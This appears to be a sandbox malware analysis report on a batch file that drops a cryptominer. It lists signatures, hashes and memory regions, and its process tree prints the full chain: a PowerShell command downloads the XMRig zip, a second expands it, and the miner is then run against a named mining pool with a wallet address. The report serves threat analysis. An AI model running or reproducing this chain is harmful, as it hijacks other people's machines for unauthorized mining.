Resubmissions

Analysis

  • max time kernel
    1793s
  • max time network
    1798s
  • platform
    windows10-1703_x64
  • resource
    win10-20231220-en
  • resource tags

    arch:x64arch:x86image:win10-20231220-enlocale:en-usos:windows10-1703-x64system
  • submitted
    23/01/2024, 19:07

General

  • Target

    tesy - Copy (3).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 61 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (3).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:320
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1820
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:756
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:932

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    a6ca13bc50f093890cbb69295c0431b1

    SHA1

    88e129d073990f0ebe4346b1849983a8dd58b8f8

    SHA256

    23cd44f41018ca0ea418b584f5f7ddad434be2ff4344453b0c32351246e4d3d5

    SHA512

    b47226adc84d08f16c920da013feb1b00dc725c838c4fd59f09bdbd1d3dd3a557ce956753f62eaea3d29b7e05ccea8af38df5001ed8387f11d63bb8712ef7b91

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1zj3jj4s.vma.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    200KB

    MD5

    6acb715d9c73cec5230c4d16b1ff7d7e

    SHA1

    a47addc3a0eb2e48f53a169577c43986908d2085

    SHA256

    8dd28341205eb3f1e6cb77935b6a7c9976ea1c2a92aa6b4cfaef41b99dd2f3e5

    SHA512

    a172ed573a294421b5e0a3715185f1dcbe35b3c7c8cd48d13a5cff42f6dc72e485de23eb69bd12c8a01943d7d783293050b64a9cc5f866a3bee307037c63a45f

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    864KB

    MD5

    3620a13490c8d08156a0a8e8ad003265

    SHA1

    c68763cf2c17f1e5f0befe0312c66fffc3e95563

    SHA256

    a99a5606af3dc42aaf99da760ff01c5b390c60eaa8a573e38e8cd4112527f031

    SHA512

    0584e5d75b9d4b44860d02e869a220d45d1232a5fe5a0de4042c266e60b152e3660e17ce66703350988f42772827ad69ff243fa44e3d13d5db496ac01e9ff85c

  • memory/756-89-0x0000016CCA7A0000-0x0000016CCA7AA000-memory.dmp

    Filesize

    40KB

  • memory/756-38-0x00007FFFDCAE0000-0x00007FFFDD4CC000-memory.dmp

    Filesize

    9.9MB

  • memory/756-41-0x0000016CCA800000-0x0000016CCA810000-memory.dmp

    Filesize

    64KB

  • memory/756-113-0x00007FFFDCAE0000-0x00007FFFDD4CC000-memory.dmp

    Filesize

    9.9MB

  • memory/756-76-0x0000016CCA7B0000-0x0000016CCA7C2000-memory.dmp

    Filesize

    72KB

  • memory/756-39-0x0000016CCA800000-0x0000016CCA810000-memory.dmp

    Filesize

    64KB

  • memory/756-62-0x0000016CCA800000-0x0000016CCA810000-memory.dmp

    Filesize

    64KB

  • memory/932-144-0x00007FF63A100000-0x00007FF63AC03000-memory.dmp

    Filesize

    11.0MB

  • memory/932-149-0x00007FF63A100000-0x00007FF63AC03000-memory.dmp

    Filesize

    11.0MB

  • memory/932-184-0x00007FF63A100000-0x00007FF63AC03000-memory.dmp

    Filesize

    11.0MB

  • memory/932-116-0x0000015587510000-0x0000015587530000-memory.dmp

    Filesize

    128KB

  • memory/932-183-0x00007FF63A100000-0x00007FF63AC03000-memory.dmp

    Filesize

    11.0MB

  • memory/932-117-0x0000015587560000-0x0000015587580000-memory.dmp

    Filesize

    128KB

  • memory/932-118-0x00007FF63A100000-0x00007FF63AC03000-memory.dmp

    Filesize

    11.0MB

  • memory/932-119-0x0000015587580000-0x00000155875A0000-memory.dmp

    Filesize

    128KB

  • memory/932-120-0x00000155875A0000-0x00000155875C0000-memory.dmp

    Filesize

    128KB

  • memory/932-121-0x00007FF63A100000-0x00007FF63AC03000-memory.dmp

    Filesize

    11.0MB

  • memory/932-122-0x00007FF63A100000-0x00007FF63AC03000-memory.dmp

    Filesize

    11.0MB

  • memory/932-123-0x00007FF63A100000-0x00007FF63AC03000-memory.dmp

    Filesize

    11.0MB

  • memory/932-124-0x0000015587580000-0x00000155875A0000-memory.dmp

    Filesize

    128KB

  • memory/932-125-0x00000155875A0000-0x00000155875C0000-memory.dmp

    Filesize

    128KB

  • memory/932-126-0x00007FF63A100000-0x00007FF63AC03000-memory.dmp

    Filesize

    11.0MB

  • memory/932-127-0x00007FF63A100000-0x00007FF63AC03000-memory.dmp

    Filesize

    11.0MB

  • memory/932-128-0x00007FF63A100000-0x00007FF63AC03000-memory.dmp

    Filesize

    11.0MB

  • memory/932-129-0x00007FF63A100000-0x00007FF63AC03000-memory.dmp

    Filesize

    11.0MB

  • memory/932-130-0x00007FF63A100000-0x00007FF63AC03000-memory.dmp

    Filesize

    11.0MB

  • memory/932-131-0x00007FF63A100000-0x00007FF63AC03000-memory.dmp

    Filesize

    11.0MB

  • memory/932-132-0x00007FF63A100000-0x00007FF63AC03000-memory.dmp

    Filesize

    11.0MB

  • memory/932-133-0x00007FF63A100000-0x00007FF63AC03000-memory.dmp

    Filesize

    11.0MB

  • memory/932-134-0x00007FF63A100000-0x00007FF63AC03000-memory.dmp

    Filesize

    11.0MB

  • memory/932-135-0x00007FF63A100000-0x00007FF63AC03000-memory.dmp

    Filesize

    11.0MB

  • memory/932-136-0x00007FF63A100000-0x00007FF63AC03000-memory.dmp

    Filesize

    11.0MB

  • memory/932-137-0x00007FF63A100000-0x00007FF63AC03000-memory.dmp

    Filesize

    11.0MB

  • memory/932-138-0x00007FF63A100000-0x00007FF63AC03000-memory.dmp

    Filesize

    11.0MB

  • memory/932-139-0x00007FF63A100000-0x00007FF63AC03000-memory.dmp

    Filesize

    11.0MB

  • memory/932-140-0x00007FF63A100000-0x00007FF63AC03000-memory.dmp

    Filesize

    11.0MB

  • memory/932-141-0x00007FF63A100000-0x00007FF63AC03000-memory.dmp

    Filesize

    11.0MB

  • memory/932-142-0x00007FF63A100000-0x00007FF63AC03000-memory.dmp

    Filesize

    11.0MB

  • memory/932-143-0x00007FF63A100000-0x00007FF63AC03000-memory.dmp

    Filesize

    11.0MB

  • memory/932-182-0x00007FF63A100000-0x00007FF63AC03000-memory.dmp

    Filesize

    11.0MB

  • memory/932-145-0x00007FF63A100000-0x00007FF63AC03000-memory.dmp

    Filesize

    11.0MB

  • memory/932-146-0x00007FF63A100000-0x00007FF63AC03000-memory.dmp

    Filesize

    11.0MB

  • memory/932-147-0x00007FF63A100000-0x00007FF63AC03000-memory.dmp

    Filesize

    11.0MB

  • memory/932-148-0x00007FF63A100000-0x00007FF63AC03000-memory.dmp

    Filesize

    11.0MB

  • memory/932-181-0x00007FF63A100000-0x00007FF63AC03000-memory.dmp

    Filesize

    11.0MB

  • memory/932-150-0x00007FF63A100000-0x00007FF63AC03000-memory.dmp

    Filesize

    11.0MB

  • memory/932-151-0x00007FF63A100000-0x00007FF63AC03000-memory.dmp

    Filesize

    11.0MB

  • memory/932-152-0x00007FF63A100000-0x00007FF63AC03000-memory.dmp

    Filesize

    11.0MB

  • memory/932-153-0x00007FF63A100000-0x00007FF63AC03000-memory.dmp

    Filesize

    11.0MB

  • memory/932-154-0x00007FF63A100000-0x00007FF63AC03000-memory.dmp

    Filesize

    11.0MB

  • memory/932-155-0x00007FF63A100000-0x00007FF63AC03000-memory.dmp

    Filesize

    11.0MB

  • memory/932-156-0x00007FF63A100000-0x00007FF63AC03000-memory.dmp

    Filesize

    11.0MB

  • memory/932-157-0x00007FF63A100000-0x00007FF63AC03000-memory.dmp

    Filesize

    11.0MB

  • memory/932-158-0x00007FF63A100000-0x00007FF63AC03000-memory.dmp

    Filesize

    11.0MB

  • memory/932-159-0x00007FF63A100000-0x00007FF63AC03000-memory.dmp

    Filesize

    11.0MB

  • memory/932-160-0x00007FF63A100000-0x00007FF63AC03000-memory.dmp

    Filesize

    11.0MB

  • memory/932-161-0x00007FF63A100000-0x00007FF63AC03000-memory.dmp

    Filesize

    11.0MB

  • memory/932-162-0x00007FF63A100000-0x00007FF63AC03000-memory.dmp

    Filesize

    11.0MB

  • memory/932-163-0x00007FF63A100000-0x00007FF63AC03000-memory.dmp

    Filesize

    11.0MB

  • memory/932-164-0x00007FF63A100000-0x00007FF63AC03000-memory.dmp

    Filesize

    11.0MB

  • memory/932-165-0x00007FF63A100000-0x00007FF63AC03000-memory.dmp

    Filesize

    11.0MB

  • memory/932-166-0x00007FF63A100000-0x00007FF63AC03000-memory.dmp

    Filesize

    11.0MB

  • memory/932-167-0x00007FF63A100000-0x00007FF63AC03000-memory.dmp

    Filesize

    11.0MB

  • memory/932-168-0x00007FF63A100000-0x00007FF63AC03000-memory.dmp

    Filesize

    11.0MB

  • memory/932-169-0x00007FF63A100000-0x00007FF63AC03000-memory.dmp

    Filesize

    11.0MB

  • memory/932-170-0x00007FF63A100000-0x00007FF63AC03000-memory.dmp

    Filesize

    11.0MB

  • memory/932-171-0x00007FF63A100000-0x00007FF63AC03000-memory.dmp

    Filesize

    11.0MB

  • memory/932-172-0x00007FF63A100000-0x00007FF63AC03000-memory.dmp

    Filesize

    11.0MB

  • memory/932-173-0x00007FF63A100000-0x00007FF63AC03000-memory.dmp

    Filesize

    11.0MB

  • memory/932-174-0x00007FF63A100000-0x00007FF63AC03000-memory.dmp

    Filesize

    11.0MB

  • memory/932-175-0x00007FF63A100000-0x00007FF63AC03000-memory.dmp

    Filesize

    11.0MB

  • memory/932-176-0x00007FF63A100000-0x00007FF63AC03000-memory.dmp

    Filesize

    11.0MB

  • memory/932-177-0x00007FF63A100000-0x00007FF63AC03000-memory.dmp

    Filesize

    11.0MB

  • memory/932-178-0x00007FF63A100000-0x00007FF63AC03000-memory.dmp

    Filesize

    11.0MB

  • memory/932-179-0x00007FF63A100000-0x00007FF63AC03000-memory.dmp

    Filesize

    11.0MB

  • memory/932-180-0x00007FF63A100000-0x00007FF63AC03000-memory.dmp

    Filesize

    11.0MB

  • memory/1820-5-0x0000020CE2110000-0x0000020CE2132000-memory.dmp

    Filesize

    136KB

  • memory/1820-4-0x00007FFFDCAE0000-0x00007FFFDD4CC000-memory.dmp

    Filesize

    9.9MB

  • memory/1820-6-0x0000020CC9E10000-0x0000020CC9E20000-memory.dmp

    Filesize

    64KB

  • memory/1820-7-0x0000020CC9E10000-0x0000020CC9E20000-memory.dmp

    Filesize

    64KB

  • memory/1820-10-0x0000020CE22C0000-0x0000020CE2336000-memory.dmp

    Filesize

    472KB

  • memory/1820-25-0x0000020CC9E10000-0x0000020CC9E20000-memory.dmp

    Filesize

    64KB

  • memory/1820-30-0x00007FFFDCAE0000-0x00007FFFDD4CC000-memory.dmp

    Filesize

    9.9MB